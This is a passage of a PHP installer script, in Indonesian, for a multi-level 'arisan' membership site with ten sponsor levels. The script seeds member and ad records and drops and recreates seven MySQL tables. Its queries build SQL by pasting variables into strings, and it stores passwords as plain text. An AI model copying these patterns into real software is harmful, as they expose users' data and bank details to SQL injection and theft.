Values ('$username_1','$passwd_1','$nama_1','$email_1','$alamat_1','$kota_1','$telpon_1','','','$nama_bank_1','$cabang_bank_1','$rekening_1','','$member_dafault','','','','','','','','','','$time','$ip','$statusno','0','$nopaid','0','' )") or error( mysql_error() );
mysql_query( "INSERT INTO memberarisan ( username, passwd, nama, email, alamat, kota, telpon, rupiah_master, bonus_terbayar, nama_bank, cabang_bank, rekening, tanggal_transfer, username_sponsor1, username_sponsor2, username_sponsor3, username_sponsor4, username_sponsor5, username_sponsor6, username_sponsor7, username_sponsor8, username_sponsor9, username_sponsor10, tanggal_join, ip_add, stat, hits, paid, tot_member, username_rekrut )
Values ('$username_2','$passwd_2','$nama_2','$email_2','$alamat_2','$kota_2','$telpon_2','','','$nama_bank_2','$cabang_bank_2','$rekening_2','','$member_dafault','','','','','','','','','','$time','$ip','$statusno','0','$nopaid','0','' )") or error( mysql_error() );
mysql_query( "INSERT INTO memberarisan ( username, passwd, nama, email, alamat, kota, telpon, rupiah_master, bonus_terbayar, nama_bank, cabang_bank, rekening, tanggal_transfer, username_sponsor1, username_sponsor2, username_sponsor3, username_sponsor4, username_sponsor5, username_sponsor6, username_sponsor7, username_sponsor8, username_sponsor9, username_sponsor10, tanggal_join, ip_add, stat, hits, paid, tot_member, username_rekrut )
Values ('$username_3','$passwd_3','$nama_3','$email_3','$alamat_3','$kota_3','$telpon_3','','','$nama_bank_3','$cabang_bank_3','$rekening_3','','$member_dafault','','','','','','','','','','$time','$ip','$statusno','0','$nopaid','0','' )") or error( mysql_error() );
mysql_query( "INSERT INTO memberarisan ( username, passwd, nama, email, alamat, kota, telpon, rupiah_master, bonus_terbayar, nama_bank, cabang_bank, rekening, tanggal_transfer, username_sponsor1, username_sponsor2, username_sponsor3, username_sponsor4, username_sponsor5, username_sponsor6, username_sponsor7, username_sponsor8, username_sponsor9, username_sponsor10, tanggal_join, ip_add, stat, hits, paid, tot_member, username_rekrut )
Values ('$username_4','$passwd_4','$nama_4','$email_4','$alamat_4','$kota_4','$telpon_4','','','$nama_bank_4','$cabang_bank_4','$rekening_4','','$member_dafault','','','','','','','','','','$time','$ip','$statusno','0','$nopaid','0','' )") or error( mysql_error() );
mysql_query( "INSERT INTO iklan ( username, nama, email, kota, judul_iklan, isi_iklan, website_iklan )
Values ('$username','$nama','$email','$kota','$judul_iklan','$isi_iklan','$website_iklan' )") or error( mysql_error() );
mysql_query( "INSERT INTO iklan ( username, nama, email, kota, judul_iklan, isi_iklan, website_iklan )
Values ('$username_1','$nama_1','$email_1','$kota_1','$judul_iklan_1','$isi_iklan_1','$website_iklan_1' )") or error( mysql_error() );
mysql_query( "INSERT INTO iklan ( username, nama, email, kota, judul_iklan, isi_iklan, website_iklan )
Values ('$username_2','$nama_2','$email_2','$kota_2','$judul_iklan_2','$isi_iklan_2','$website_iklan_2' )") or error( mysql_error() );
mysql_query( "INSERT INTO iklan ( username, nama, email, kota, judul_iklan, isi_iklan, website_iklan )
Values ('$username_3','$nama_3','$email_3','$kota_3','$judul_iklan_3','$isi_iklan_3','$website_iklan_3' )") or error( mysql_error() );
mysql_query( "INSERT INTO iklan ( username, nama, email, kota, judul_iklan, isi_iklan, website_iklan )
Values ('$username_4','$nama_4','$email_4','$kota_4','$judul_iklan_4','$isi_iklan_4','$website_iklan_4' )") or error( mysql_error() );
echo "<p align=\"center\"><font size=\"2\">::: Input Data Member Perdana Telah Sukses !!! :::</font></p>\n";
echo "<p align=\"center\"><font size=\"3\"><b>..::PROSES INSTALASI TELAH SUKSES, ANDA SUDAH BISA MEMULAI MENJALANKAN PROGRAM::..</b></a></p>\n";
echo "<p align=\"center\"><font size=\"2\"><b>!!! PERHATIAN !!! </b></a></p>\n";
echo "<p align=\"center\"><font size=\"2\">Sebelum menjalankan program, file : <b>install.php</b> HARUS DIHAPUS terlebih dahulu !!!, Lupa Menghapus DATABASE ANDA BISA HANCUR </b></a></p>\n";
echo "<p align=\"center\"><font size=\"2\">Selanjutnya Silahkan tambah member-member lain dalam database anda, supaya sistem randomnya optimal, lewat menu Order pada web anda</p>\n";
displayFooter();
}
}
else
{
displayHeader();
mysql_connect( $dbHost, $dbUser, $dbPasswd ) or error( mysql_error() );
mysql_select_db( $dbName );
$data="DROP TABLE IF EXISTS memberarisan";
$data1="DROP TABLE IF EXISTS testimonial";
$data2="DROP TABLE IF EXISTS adminarisan";
$data3="DROP TABLE IF EXISTS berita";
$data4="DROP TABLE IF EXISTS iklan";
$data5="DROP TABLE IF EXISTS ar_lead";
$data6="DROP TABLE IF EXISTS ar_msg";
mysql_db_query ( "$dbName", $data ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data1 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data2 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data3 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data4 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data5 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $data6 ) or error( mysql_error() );
$query1 = "CREATE TABLE memberarisan
(
user_id SMALLINT UNSIGNED NOT NULL auto_increment,
username varchar(30) NOT NULL default '',
passwd varchar(30) NOT NULL default '',
nama varchar(30) NOT NULL default '',
email varchar(35) NOT NULL default '',
alamat text,
kota varchar(20) NOT NULL default '',
telpon varchar(30) NOT NULL default '',
rupiah_master int(255) NOT NULL default '0',
bonus_terbayar int(255) NOT NULL default '0',
nama_bank varchar(50) NOT NULL default '',
cabang_bank varchar(50) NOT NULL default '',
rekening varchar(30) NOT NULL default '',
tanggal_transfer varchar(30) NOT NULL default '',
username_sponsor1 varchar(30) NOT NULL default '',
username_sponsor2 varchar(30) NOT NULL default '',
username_sponsor3 varchar(30) NOT NULL default '',
username_sponsor4 varchar(30) NOT NULL default '',
username_sponsor5 varchar(30) NOT NULL default '',
username_sponsor6 varchar(30) NOT NULL default '',
username_sponsor7 varchar(30) NOT NULL default '',
username_sponsor8 varchar(30) NOT NULL default '',
username_sponsor9 varchar(30) NOT NULL default '',
username_sponsor10 varchar(30) NOT NULL default '',
tanggal_join int(255) NOT NULL default '0',
ip_add varchar(20) NOT NULL default '',
stat varchar(20) NOT NULL default '',
hits int(255) NOT NULL default '0',
paid varchar(20) NOT NULL default '',
tot_member int(255) NOT NULL default '0',
username_rekrut varchar(30) NOT NULL default '',
PRIMARY KEY (user_id)
) TYPE=MyISAM ";
$query2 = "CREATE TABLE testimonial
(
user_id SMALLINT UNSIGNED NOT NULL auto_increment,
nama varchar(30) NOT NULL default '',
kota varchar(20) NOT NULL default '',
email varchar(30) NOT NULL default '',
judul varchar(100) NOT NULL default '',
isi text,
PRIMARY KEY (user_id)
) TYPE=MyISAM ";
$query3 = "CREATE TABLE adminarisan
(
user_id SMALLINT UNSIGNED NOT NULL auto_increment,
kode varchar(7) NOT NULL default '',
user_admin varchar(30) NOT NULL default '',
passwd_admin varchar(30) NOT NULL default '',
nama_admin varchar(30) NOT NULL default '',
email_admin varchar(35) NOT NULL default '',
alamat_admin text,
telpon_admin varchar(30) NOT NULL default '',
website varchar(50) NOT NULL default '',
harga_produk int(255) NOT NULL default '0',
bonus_sponsoring int(255) NOT NULL default '0',
bonus_level1 int(255) NOT NULL default '0',
bonus_level2 int(255) NOT NULL default '0',
bonus_level3 int(255) NOT NULL default '0',
bonus_level4 int(255) NOT NULL default '0',
bonus_level5 int(255) NOT NULL default '0',
bonus_level6 int(255) NOT NULL default '0',
bonus_level7 int(255) NOT NULL default '0',
bonus_level8 int(255) NOT NULL default '0',
bonus_level9 int(255) NOT NULL default '0',
bonus_level10 int(255) NOT NULL default '0',
bonus_cair int(255) NOT NULL default '0',
bank_admin varchar(50) NOT NULL default '',
cabang_bank_admin varchar(50) NOT NULL default '',
rekening_admin varchar(20) NOT NULL default '',
nama_bisnis varchar(30) NOT NULL default '',
matrix int(255) NOT NULL default '0',
PRIMARY KEY (user_id)
) TYPE=MyISAM ";
$query4 = "CREATE TABLE berita
(
user_id SMALLINT UNSIGNED NOT NULL auto_increment,
judul varchar(100) NOT NULL default '',
tanggal varchar(25) NOT NULL default '',
isi_berita text,
PRIMARY KEY (user_id)
) TYPE=MyISAM ";
$query5 = "CREATE TABLE iklan
(
user_id SMALLINT UNSIGNED NOT NULL auto_increment,
username varchar(30) NOT NULL default '',
nama varchar(30) NOT NULL default '',
email varchar(35) NOT NULL default '',
kota varchar(20) NOT NULL default '',
judul_iklan varchar(50) NOT NULL default '',
isi_iklan text,
website_iklan varchar(50) NOT NULL default '',
PRIMARY KEY (user_id)
) TYPE=MyISAM ";
$query6 = "CREATE TABLE ar_lead (
lID int(11) NOT NULL auto_increment,
lName varchar(250) default NULL,
lEmail varchar(250) default NULL,
username varchar(30) NOT NULL default '',
kota varchar(30) NOT NULL default '',
nama_sponsor varchar(50) NOT NULL default '',
email_sponsor varchar(50) NOT NULL default '',
phone_sponsor varchar(50) NOT NULL default '',
lDateEntry date default NULL,
lDateOut date default NULL,
lMOut varchar(11) default NULL,
lStatus varchar(50) default NULL,
PRIMARY KEY (lID)
) TYPE=MyISAM";
$query7 = "CREATE TABLE ar_msg (
mID int(11) NOT NULL auto_increment,
mSubject varchar(250) default NULL,
mBody text,
mDay int(2) default NULL,
mType varchar(50) default NULL,
PRIMARY KEY (mID)
) TYPE=MyISAM";
mysql_db_query ( "$dbName", $query1 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query2 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query3 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query4 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query5 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query6 ) or error( mysql_error() );
mysql_db_query ( "$dbName", $query7 ) or error( mysql_error() );
mysql_close();
echo "<p align=\"center\"><font size=\"4\">Sukses !!!, 7 Table database selesai dibuat !!! </font></a></p>\n";
echo "<p align=\"center\"><font size=\"2\">Silahkan klik link dibawah ini untuk proses selanjutnya !!!</font></a></p>\n";
echo "<p align=\"center\"><a href=\"$PHP_SELF?proses=input_admin\"><b>Lanjutkan Install dengan klik disini</b></a></p>\n";
displayFooter();
}
?> |
|
|